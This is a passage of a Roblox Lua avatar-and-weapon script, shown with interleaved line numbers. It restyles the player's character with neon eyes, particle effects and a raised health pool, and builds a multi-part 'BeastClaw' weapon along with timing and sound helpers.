for i,v in pairs(char:children()) do
1173
    if v:IsA("Pants") then
1174
        v:Destroy()
1175
    end
1176
end
1177
1178
local eye12 = Instance.new("Part")
1179
eye12.Parent = char
1180
eye12.Size = Vector3.new(0.2, 0.2, 0.2)
1181
eye12.Archivable = true
1182
eye12.Transparency = 0
1183
eye12.Shape = "Ball"
1184
eye12.BrickColor = BrickColor.new("Lime green")
1185
eye12.Material = "Neon"
1186
eye12.CanCollide = false
1187
local mesh2 = Instance.new("SpecialMesh",eye12)
1188
mesh2.MeshType = "Sphere"
1189
mesh2.Scale = Vector3.new(0.75, 1, 1)
1190
local weld1en2 = Instance.new("Weld")
1191
weld1en2.Parent = hed
1192
weld1en2.Part0 = hed
1193
weld1en2.Part1 = eye12
1194
weld1en2.C1 = CFrame.new(0.115, -0.19, 0.5475)
1195
local eye1 = Instance.new("Part")
1196
eye1.Parent = char
1197
eye1.Size = Vector3.new(0.2, 0.2, 0.2)
1198
eye1.Archivable = true
1199
eye1.Transparency = 0
1200
eye1.Shape = "Ball"
1201
eye1.BrickColor = BrickColor.new("Lime green")
1202
eye1.Material = "Neon"
1203
eye1.CanCollide = false
1204
local mesh = Instance.new("SpecialMesh",eye1)
1205
mesh.MeshType = "Sphere"
1206
mesh.Scale = Vector3.new(0.75, 1, 1)
1207
local weld1en = Instance.new("Weld")
1208
weld1en.Parent = hed
1209
weld1en.Part0 = hed
1210
weld1en.Part1 = eye1
1211
weld1en.C1 = CFrame.new(-0.115, -0.19, 0.5475)
1212
1213
local BC = char["Body Colors"]
1214
BC.HeadColor = BrickColor.new("Pastel brown")
1215
BC.LeftArmColor = BrickColor.new("Pastel brown")
1216
BC.LeftLegColor = BrickColor.new("Pastel brown")
1217
BC.RightArmColor = BrickColor.new("Pastel brown")
1218
BC.RightLegColor = BrickColor.new("Pastel brown")
1219
BC.TorsoColor = BrickColor.new("Pastel brown")
1220
1221
ypcall(function()
1222
shirt = Instance.new("Shirt", char)
1223
shirt.Name = "Shirt"
1224
shirt2 = Instance.new("ShirtGraphic", char)
1225
shirt2.Name = "Shirt2"
1226
pants = Instance.new("Pants", char)
1227
pants.Name = "Pants"
1228
char.Shirt.ShirtTemplate = "rbxassetid://1464442028"
1229
char.Pants.PantsTemplate = "rbxassetid://129459076"
1230
char.Shirt2.Graphic = "rbxassetid://2804234022"
1231
end)
1232
Reaper2 = Instance.new("Model")
1233
Reaper2.Parent = Player.Character
1234
Reaper2.Name = "Reaper2"
1235
rh2 = Instance.new("Part")
1236
rh2.Parent = Reaper2
1237
rh2.BrickColor = maincolor
1238
rh2.Locked = true
1239
rh2.CanCollide = false
1240
mesh2 = Instance.new("SpecialMesh")
1241
rh2.formFactor =  "Symmetric"
1242
mesh2.MeshType = "FileMesh"
1243
mesh2.MeshId = "http://www.roblox.com/asset/?id=16627529"
1244
mesh2.Parent = rh2
1245
local weld2 = Instance.new("Weld")
1246
weld2.Parent = rh2
1247
rh2.Transparency = 0
1248
weld2.Part0 = rh2
1249
weld2.Part1 = Player.Character.Head
1250
weld2.C0 = CFrame.new(0, -0.6, 0)
1251
1252
Reaper3 = Instance.new("Model")
1253
Reaper3.Parent = Player.Character
1254
Reaper3.Name = "Reaper3"
1255
rh3 = Instance.new("Part")
1256
rh3.Parent = Reaper3
1257
rh3.BrickColor = BrickColor.new("Really black")
1258
rh3.Locked = true
1259
rh3.CanCollide = false
1260
mesh3 = Instance.new("SpecialMesh")
1261
rh3.formFactor =  "Symmetric"
1262
mesh3.MeshType = "FileMesh"
1263
mesh3.MeshId = "http://www.roblox.com/asset/?id=16627529"
1264
mesh3.Parent = rh3
1265
local weld3 = Instance.new("Weld")
1266
weld3.Parent = rh3
1267
rh3.Transparency = 0
1268
weld3.Part0 = rh3
1269
weld3.Part1 = Player.Character.Head
1270
weld3.C0 = CFrame.new(0, -0.6, 0)*CFrame.Angles(0, 0, 0)
1271
1272
local orbe = Instance.new("Part")
1273
orbe.Parent = char
1274
orbe.Size = Vector3.new(0.2, 0.2, 0.2)
1275
orbe.Archivable = true
1276
orbe.Transparency = 1
1277
orbe.BrickColor = maincolor
1278
orbe.Material = "Neon"
1279
orbe.CanCollide = false
1280
local weld1e = Instance.new("Weld")
1281
weld1e.Parent = rleg
1282
weld1e.Part0 = rleg
1283
weld1e.Part1 = orbe
1284
weld1e.C1 = CFrame.new(0, 1.125, 0)
1285
local pt1e = NumberSequenceKeypoint.new(0,0.85,0)
1286
local pt2e = NumberSequenceKeypoint.new(1,0,0)
1287
local effectoe = Instance.new("ParticleEmitter",orbe)
1288
effectoe.LightEmission = 1
1289
effectoe.Texture = "rbxasset://textures/particles/smoke_main.dds"
1290
effectoe.Color = ColorSequence.new(maincolor.Color)
1291
effectoe.Rate = 10000
1292
effectoe.Lifetime = NumberRange.new(1)
1293
effectoe.Size = NumberSequence.new({pt1e,pt2e})
1294
effectoe.Speed = NumberRange.new(0,0)
1295
effectoe.RotSpeed = NumberRange.new(100,100)
1296
1297
local orbze = Instance.new("Part")
1298
orbze.Parent = char
1299
orbze.Size = Vector3.new(0.2, 0.2, 0.2)
1300
orbze.Archivable = true
1301
orbze.Transparency = 1
1302
orbze.BrickColor = maincolor
1303
orbze.Material = "Neon"
1304
orbze.CanCollide = false
1305
local weldz1 = Instance.new("Weld")
1306
weldz1.Parent = lleg
1307
weldz1.Part0 = lleg
1308
weldz1.Part1 = orbze
1309
weldz1.C1 = CFrame.new(0, 1.125, 0)
1310
local effectone = Instance.new("ParticleEmitter",orbze)
1311
effectone.LightEmission = 1
1312
effectone.Texture = "rbxasset://textures/particles/smoke_main.dds"
1313
effectone.Color = ColorSequence.new(maincolor.Color)
1314
effectone.Rate = 10000
1315
effectone.Lifetime = NumberRange.new(1)
1316
effectone.Size = NumberSequence.new({pt1e,pt2e})
1317
effectone.Speed = NumberRange.new(0,0)
1318
effectone.RotSpeed = NumberRange.new(100,100)
1319
end
1320
1321
if effolemode == true then
1322
maincolor = BrickColor.new("Lime green")
1323
end
1324
1325
local orb = Instance.new("Part")
1326
orb.Parent = char
1327
orb.Size = Vector3.new(1, 1, 1)
1328
orb.Archivable = true
1329
orb.Transparency = 1
1330
orb.BrickColor = BrickColor.new("Bright orange")
1331
orb.Material = "Wood"
1332
orb.CanCollide = false
1333
local weld1 = Instance.new("Weld")
1334
weld1.Parent = rarm
1335
weld1.Part0 = rarm
1336
weld1.Part1 = orb
1337
weld1.C1 = CFrame.new(0, 1.125, 0)
1338
local pt1 = NumberSequenceKeypoint.new(0,0.475,0)
1339
local pt2 = NumberSequenceKeypoint.new(1,0,0)
1340
local effecto = Instance.new("ParticleEmitter",orb)
1341
effecto.LightEmission = 1
1342
effecto.Texture = "rbxasset://textures/particles/smoke_main.dds"
1343
effecto.Color = ColorSequence.new(maincolor.Color)
1344
effecto.Rate = 10000
1345
effecto.Lifetime = NumberRange.new(1)
1346
effecto.Size = NumberSequence.new({pt1,pt2})
1347
effecto.Speed = NumberRange.new(0,0)
1348
effecto.RotSpeed = NumberRange.new(100,100)
1349
1350
local orbz = Instance.new("Part")
1351
orbz.Parent = char
1352
orbz.Size = Vector3.new(1, 1, 1)
1353
orbz.Archivable = true
1354
orbz.Transparency = 1
1355
orbz.BrickColor = BrickColor.new("Bright orange")
1356
orbz.Material = "Wood"
1357
orbz.CanCollide = false
1358
local weldz1 = Instance.new("Weld")
1359
weldz1.Parent = larm
1360
weldz1.Part0 = larm
1361
weldz1.Part1 = orbz
1362
weldz1.C1 = CFrame.new(0, 1.125, 0)
1363
local effecton = Instance.new("ParticleEmitter",orbz)
1364
effecton.LightEmission = 1
1365
effecton.Texture = "rbxasset://textures/particles/smoke_main.dds"
1366
effecton.Color = ColorSequence.new(maincolor.Color)
1367
effecton.Rate = 10000
1368
effecton.Lifetime = NumberRange.new(1)
1369
effecton.Size = NumberSequence.new({pt1,pt2})
1370
effecton.Speed = NumberRange.new(0,0)
1371
effecton.RotSpeed = NumberRange.new(100,100)
1372
1373
1374
p = owner
1375
char = p.Character
1376
torso = char.Torso
1377
neck = char.Torso.Neck
1378
hum = char.Humanoid
1379
hum.MaxHealth = 10000
1380
wait()
1381
hum.Health =hum.MaxHealth
1382
1383
CV="Hot pink"
1384
	
1385
local txt = Instance.new("BillboardGui", char)
1386
txt.Adornee = char .Head
1387
txt.Name = "_status"
1388
txt.Size = UDim2.new(2, 0, 1.2, 0)
1389
txt.StudsOffset = Vector3.new(-9, 8, 0)
1390
local text = Instance.new("TextLabel", txt)
1391
text.Size = UDim2.new(10, 0, 7, 0)
1392
text.FontSize = "Size24"
1393
text.TextScaled = true
1394
text.TextTransparency = 0
1395
text.BackgroundTransparency = 1 
1396
text.TextTransparency = 0
1397
text.TextStrokeTransparency = 0
1398
text.Font = "SciFi"
1399
text.TextStrokeColor3 = Color3.new(0,0,0)
1400
1401
v=Instance.new("Part")
1402
v.Name = "ColorBrick"
1403
v.Parent=p.Character
1404
v.FormFactor="Symmetric"
1405
v.Anchored=true
1406
v.CanCollide=false
1407
v.BottomSurface="Smooth"
1408
v.TopSurface="Smooth"
1409
v.Size=Vector3.new(10,5,3)
1410
v.Transparency=1
1411
v.CFrame=char.Torso.CFrame
1412
v.BrickColor=BrickColor.new(CV)
1413
v.Transparency=1
1414
text.TextColor3 = BrickColor.new("Lime green").Color
1415
v.Shape="Block"
1416
text.Text = "Sweet T"
1417
1418
1419
euler = CFrame.fromEulerAnglesXYZ
1420
angles = CFrame.Angles
1421
local player = "owner"
1422
local Character = owner
1423
it = Instance.new
1424
vt = Vector3.new
1425
bc = BrickColor.new
1426
cf = CFrame.new
1427
mr = math.rad
1428
local Weapon = {}
1429
local p = owner
1430
local char = p.Character
1431
local larm = char["Left Arm"]
1432
local rarm = char["Right Arm"]
1433
local lleg = char["Left Leg"]
1434
local rleg = char["Right Leg"]
1435
local hed = char.Head
1436
local torso = char.Torso
1437
local hum = char.Humanoid
1438
local cam = game.Workspace.CurrentCamera
1439
local root = char.HumanoidRootPart
1440
local deb = false
1441
local shot = 0
1442
1443
local debris=game:service"Debris"
1444
local l = game:GetService("Lighting")
1445
local rs = game:GetService("RunService").RenderStepped
1446
ptz = {0.8, 0.85, 0.9, 0.95, 1, 1.05, 1.1}
1447
math.randomseed(os.time())
1448
for i,v in pairs (hed:GetChildren()) do
1449
        if v:IsA("Sound") then
1450
                v:Destroy()
1451
        end
1452
end
1453
---------------------------------------------------- BeastClaw
1454
NoOutline = function(Part)
1455
  Part.TopSurface = 10
1456
end
1457
part = function(formfactor, parent, reflectance, transparency, brickcolor, name, size)
1458
  local fp = it("Part")
1459
  fp.formFactor = formfactor
1460
  fp.Parent = parent
1461
  fp.Reflectance = reflectance
1462
  fp.Transparency = transparency
1463
  fp.CanCollide = false
1464
  fp.Locked = true
1465
  fp.BrickColor = brickcolor
1466
  fp.Name = name
1467
  fp.Size = size
1468
  NoOutline(fp)
1469
  fp.Material = "Neon"
1470
  fp:BreakJoints()
1471
  return fp
1472
end
1473
mesh = function(Mesh, part, meshtype, meshid, offset, scale)
1474
  local mesh = it(Mesh)
1475
  mesh.Parent = part
1476
  if Mesh == "SpecialMesh" then
1477
    mesh.MeshType = meshtype
1478
    if meshid ~= "nil" then
1479
      mesh.MeshId = "http://www.roblox.com/asset/?id=" .. meshid
1480
    end
1481
  end
1482
  mesh.Offset = offset
1483
  mesh.Scale = scale
1484
  return mesh
1485
end
1486
weld = function(parent, part0, part1, c0)
1487
  local weld = it("Motor6D")
1488
  weld.Parent = parent
1489
  weld.Part0 = part0
1490
  weld.Part1 = part1
1491
  weld.C0 = c0
1492
  return weld
1493
end
1494
gui = function(GuiType, parent, text, backtrans, backcol, pos, size, image)
1495
  local gui = it(GuiType)
1496
  gui.Parent = parent
1497
  gui.BackgroundTransparency = backtrans
1498
  gui.BackgroundColor3 = backcol
1499
  gui.SizeConstraint = "RelativeXY"
1500
  gui.Position = pos
1501
  gui.Size = size
1502
  if GuiType == "TextLabel" then
1503
    gui.Text = text
1504
    gui.TextXAlignment = "Center"
1505
    gui.TextYAlignment = "Center"
1506
    gui.Font = "SourceSans"
1507
    gui.FontSize = "Size14"
1508
    gui.TextWrapped = false
1509
    gui.TextStrokeTransparency = 0
1510
    gui.TextColor = TorsoColor
1511
  else
1512
    if GuiType == "ImageLabel" then
1513
      gui.Image = "rbxassetid://" .. image
1514
      gui.ImageColor3 = backcol
1515
    end
1516
  end
1517
  return gui
1518
end
1519
local handle = nil
1520
AesthPart = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef)
1521
  prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt())
1522
  prt.Material = neon
1523
  msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1))
1524
  wld = weld(handle, prt, wldpar, ceef)
1525
  v = it("NumberValue", prt)
1526
  v.Value = trans
1527
  v.Name = "MainTransparency"
1528
  return prt, msh, wld
1529
end
1530
AesthPartHand = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef, wldpare)
1531
  prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt())
1532
  prt.Material = neon
1533
  msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1))
1534
  wld = weld(wldpare, prt, wldpar, ceef)
1535
  v = it("NumberValue", prt)
1536
  v.Value = trans
1537
  v.Name = "MainTransparency"
1538
  return prt, msh, wld
1539
end
1540
local modelzorzez = Instance.new("Model")
1541
modelzorzez.Parent = workspace.CurrentCamera
1542
modelzorzez.Name = "none"
1543
local Torso = Character.Character.Torso
1544
local LeftArm = Character.Character["Left Arm"]
1545
local RightArm = Character.Character["Right Arm"]
1546
local LeftLeg = Character.Character["Left Leg"]
1547
local RightLeg = Character.Character["Right Leg"]
1548
local Head = Character.Character.Head
1549
local RootPart = Character.Character.HumanoidRootPart
1550
handle = part(3, modelzorzez, 0, 1, BrickColor.new("Really black"), "Handle", vt())
1551
local handlewld = weld(handle, handle, Torso, euler(0, 0, -0.8) * cf(0, 0, -0.7))
1552
1553
-- SAHHHH DUUDEEE
1554
1555
1556
1557
1558
-- params : ...
1559
1560
wait(0.016666666666667)
1561
script.Archivable = false
1562
Effects = {}
1563
local Player = owner
1564
local Character = Player.Character
1565
local Humanoid = Character.Humanoid
1566
local m = Instance.new("Model", Character)
1567
m.Name = "WeaponModel"
1568
local effect = Instance.new("Model", Character)
1569
effect.Name = "effecsfsafzx"
1570
local demon = Instance.new("Model", Character)
1571
demon.Name = "demdemd"
1572
local LeftArm = Character["Left Arm"]
1573
local RightArm = Character["Right Arm"]
1574
local LeftLeg = Character["Left Leg"]
1575
local RightLeg = Character["Right Leg"]
1576
local do2target = nil
1577
local Head = Character.Head
1578
local Torso = Character.Torso
1579
TorsoColor = BrickColor.new("Lime green")
1580
z = Instance.new("Sound", Torso)
1581
z.SoundId = "rbxassetid://0" -- Put Music ID Here.
1582
z.Looped = true
1583
z.Pitch = 0
1584
z.Volume = 0
1585
wait(.1)
1586
z:Play()
1587
local cam = game.Workspace.CurrentCamera
1588
local RootPart = Character.HumanoidRootPart
1589
local RootJoint = RootPart.RootJoint
1590
local equipped = false
1591
local attack = false
1592
local Anim = "Idle"
1593
local idle = 0
1594
local attacktype = 1
1595
local Torsovelocity = RootPart.Velocity * Vector3.new(1, 0, 1).magnitude
1596
local velocity = RootPart.Velocity.y
1597
local sine = 0
1598
local change = 1
1599
local mana = 0
1600
local it = Instance.new
1601
vt = Vector3.new
1602
local grabbed = false
1603
local cf = CFrame.new
1604
local mr = math.rad
1605
local angles = CFrame.Angles
1606
local ud = UDim2.new
1607
local c3 = Color3.new
1608
clerp = function(a, b, t)
1609
  
1610
  return a:lerp(b, t)
1611
end
1612
1613
local RbxUtility = LoadLibrary("RbxUtility")
1614
local Create = RbxUtility.Create
1615
RemoveOutlines = function(part)
1616
  
1617
  part.TopSurface = 10
1618
end
1619
1620
CreatePart = function(Parent, Material, Reflectance, Transparency, BColor, Name, Size)
1621
  
1622
  local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
1623
  RemoveOutlines(Part)
1624
  return Part
1625
end
1626
1627
CreateMesh = function(Mesh, Part, MeshType, MeshId, OffSet, Scale)
1628
  
1629
  local Msh = Create(Mesh)({Parent = Part, Offset = OffSet, Scale = Scale})
1630
  if Mesh == "SpecialMesh" then
1631
    Msh.MeshType = MeshType
1632
    Msh.MeshId = MeshId
1633
  end
1634
  return Msh
1635
end
1636
1637
local co1 = 3
1638
local co2 = 10
1639
local co3 = 15
1640
local co4 = 30
1641
local cooldown1 = 0
1642
local cooldown2 = 0
1643
local cooldown3 = 0
1644
local cooldown4 = 0
1645
local maxEnergy = 100
1646
local Energy = 0
1647
local skill1stam = 1000
1648
local skill2stam = 1000
1649
local skill3stam = 1000
1650
local skill4stam = 1000
1651
local recovermana = 5
1652
local skillcolorscheme = BrickColor.new("White").Color
1653
local scrn = Instance.new("ScreenGui", Player.PlayerGui)
1654
makeframe = function(par, trans, pos, size, color)
1655
  
1656
  local frame = Instance.new("Frame", par)
1657
  frame.BackgroundTransparency = trans
1658
  frame.BorderSizePixel = 0
1659
  frame.Position = pos
1660
  frame.Size = size
1661
  frame.BackgroundColor3 = color
1662
  return frame
1663
end
1664
1665
makelabel = function(par, text)
1666
  
1667
  local label = Instance.new("TextLabel", par)
1668
  label.BackgroundTransparency = 1
1669
  label.Size = UDim2.new(1, 0, 1, 0)
1670
  label.Position = UDim2.new(0, 0, 0, 0)
1671
  label.TextColor3 = Color3.new(255, 255, 255)
1672
  label.TextStrokeTransparency = 0
1673
  label.FontSize = Enum.FontSize.Size32
1674
  label.Font = Enum.Font.SourceSansLight
1675
  label.BorderSizePixel = 0
1676
  label.TextScaled = true
1677
  label.Text = text
1678
end
1679
1680
ArtificialHB = Instance.new("BindableEvent", script)
1681
ArtificialHB.Name = "Heartbeat"
1682
script:WaitForChild("Heartbeat")
1683
frame = 0.033333333333333
1684
tf = 0
1685
allowframeloss = false
1686
tossremainder = false
1687
lastframe = tick()
1688
script.Heartbeat:Fire()
1689
game:GetService("RunService").Heartbeat:connect(function(s, p)
1690
  
1691
  tf = tf + s
1692
  if frame <= tf then
1693
    if allowframeloss then
1694
      script.Heartbeat:Fire()
1695
      lastframe = tick()
1696
    else
1697
      for i = 1, math.floor(tf / frame) do
1698
        script.Heartbeat:Fire()
1699
      end
1700
      lastframe = tick()
1701
    end
1702
    if tossremainder then
1703
      tf = 0
1704
    else
1705
      tf = tf - frame * math.floor(tf / frame)
1706
    end
1707
  end
1708
end
1709
)
1710
swait = function(num)
1711
  
1712
  if num == 0 or num == nil then
1713
    ArtificialHB.Event:wait()
1714
  else
1715
    for i = 0, num do
1716
      ArtificialHB.Event:wait()
1717
    end
1718
  end
1719
end
1720
1721
CreateWeld = function(Parent, Part0, Part1, C0, C1)
1722
  
1723
  local Weld = Create("Weld")({Parent = Parent, Part0 = Part0, Part1 = Part1, C0 = C0, C1 = C1})
1724
  return Weld
1725
end
1726
1727
rayCast = function(Position, Direction, Range, Ignore)
1728
  
1729
  return game:service("Workspace"):FindPartOnRay(Ray.new(Position, Direction.unit * (Range or 999.999)), Ignore)
1730
end
1731
1732
CreateSound = function(id, par, vol, pit)
1733
  
1734
  coroutine.resume(coroutine.create(function()
1735
    
1736
    local sou = Instance.new("Sound", par or workspace)
1737
    sou.Volume = vol
1738
    sou.Pitch = pit or 1
1739
    sou.SoundId = id
1740
    swait()
1741
    sou:play()
1742
    game:GetService("Debris"):AddItem(sou, 6)
1743
  end
1744
))
1745
end
1746
1747
local getclosest = function(obj, distance)
1748
  
1749
  local last, lastx = distance + 1, nil
1750
  for i,v in pairs(workspace:GetChildren()) do
1751
    if v:IsA("Model") and v ~= Character and v:findFirstChild("Humanoid") and v:findFirstChild("Torso") and v:findFirstChild("Humanoid").Health > 0 then
1752
      local t = v.Torso
1753
      local dist = t.Position - obj.Position.magnitude
1754
      if dist <= distance and dist < last then
1755
        last = dist
1756
        lastx = v
1757
      end
1758
    end
1759
  end
1760
  return lastx
1761
end
1762
1763
CreatePart2 = function(Parent, Material, Reflectance, Transparency, PartType, BColor, Name, Size)
1764
  
1765
  if PartType == "Part" then
1766
    local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
1767
    RemoveOutlines(Part)
1768
    return Part
1769
  else
1770
    do
1771
      if PartType == "WedgePart" then
1772
        local Part = Create("WedgePart")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
1773
        RemoveOutlines(Part)
1774
        return Part
1775
      end
1776
    end
1777
  end
1778
end
1779
1780
Handle = CreatePart(m, Enum.Material.SmoothPlastic, 0, 1, "Dirt brown", "Handle", Vector3.new(1, 2, 1))
1781
HandleWeld = CreateWeld(m, Character["Right Arm"], Handle, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
1782
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
1783
ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.598956585, -0.401195407, 0, 0, 1, 0.25881803, -0.965926111, 0, 0.965926111, 0.25881803, 0))
1784
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.150000006))
1785
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
1786
ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.858075142, -0.276378155, -0.49209857, 0.353552133, -0.866025269, 0.353555113, 0.707108736, -9.03335206e-07, -0.707104981, 0.612371027, 0.500000358, 0.61237365))
1787
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001))
1788
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
1789
ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142959999, -0.79026103, -0.577523232, 0, 0, 1, 0.0581610166, -0.998307228, 0, 0.998307228, 0.0581610166, 0))
1790
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.400000006, 1, 0.100000001))
1791
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
1792
ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.857914209, 0.258751988, -0.512362957, 0.353553236, -0.866025567, -0.353553236, -0.707106471, 3.09715034e-07, -0.707107246, 0.612372994, 0.499999791, -0.6123721))
1793
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001))
1794
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
1795
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.508293927, 0.581420183, 0.355297565, -1, 0, 0, 0, -0.694275975, -0.719708979, 0, -0.719708979, 0.694275975))
1796
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
1797
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
1798
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, -0.605236769, -0.322324991, 1, 0, 0, 0, 0.719708979, -0.694275975, 0, 0.694275975, 0.719708979))
1799
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
1800
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
1801
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.0117408261, -0.729162693, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101))
1802
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.208000004, 0.47299999, 0.47299999))
1803
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
1804
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.123879015, -0.278857708, -0.00617899979, 0.965925336, -0.2588211, 0, 0.2588211, 0.965925336, 0, 0, 0, 1))
1805
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999))
1806
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.445813209, 0.210449979, 1.04200566))
1807
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.223450184, 0.0305250883, -0.00618699985, -0.25881803, 0.965926111, 0, -0.965926111, -0.25881803, 0, 0, 0, 1))
1808
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
1809
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
1810
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.407537222, 0.0663063526, -0.00618699985, 0.707106352, -0.707107365, 0, 0.707107365, 0.707106352, 0, 0, 0, 1))
1811
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999))
1812
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.664211631, 0.210449979, 1.04200566))
1813
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0544009209, 0.0101571083, -0.00617499975, 0.499998987, 0.866025984, 0, -0.866025984, 0.499998987, 0, 0, 0, 1))
1814
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
1815
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
1816
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.212381959, -0.663311005, -0.00618499983, 1, 0, 0, 0, 1, 0, 0, 0, 1))
1817
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.730365157, 0.388499111, 1.00999999))
1818
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
1819
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0184851885, 0.339620829, -0.0061809998, 0.715359032, -0.698757052, 0, 0.698757052, 0.715359032, 0, 0, 0, 1))
1820
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.834142029, 0.388499111, 1.00999999))
1821
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.627083898, 0.210449979, 1.04200566))
1822
